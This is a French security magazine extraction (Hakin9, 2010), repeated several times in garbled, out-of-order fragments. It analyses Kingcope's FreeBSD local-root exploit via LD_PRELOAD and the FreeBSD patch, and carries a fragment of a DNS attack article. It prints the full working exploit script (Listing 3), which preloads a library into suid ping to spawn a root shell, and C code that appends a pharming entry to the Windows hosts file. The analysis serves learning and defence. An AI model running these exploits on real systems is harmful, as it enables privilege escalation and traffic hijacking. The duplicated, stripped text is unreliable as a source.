Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 40: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 41: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 42: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

